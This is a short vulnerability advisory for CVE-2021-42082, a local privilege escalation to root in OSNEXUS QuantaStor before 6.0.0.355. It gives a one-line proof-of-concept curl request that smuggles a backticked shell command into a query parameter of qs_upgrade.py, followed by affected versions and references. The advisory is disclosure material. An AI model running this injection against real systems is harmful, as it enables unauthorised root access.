high7.8
CVE-2021-42082
Local users are able to execute scripts under root privileges.
Impact
Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Osnexus | Quantastor | before 6.0.0.355 |
Weakness classification
References
- NVD record
- CVE.org record
- https://csirt.divd.nl/CVE-2021-42082
- https://csirt.divd.nl/DIVD-2021-00020/
- https://www.osnexus.com/products/software-defined-storage
- https://www.wbsec.nl/osnexus
- https://csirt.divd.nl/CVE-2021-42082
- https://www.divd.nl/DIVD-2021-00020
- https://www.osnexus.com/products/software-defined-storage
- https://www.wbsec.nl/osnexus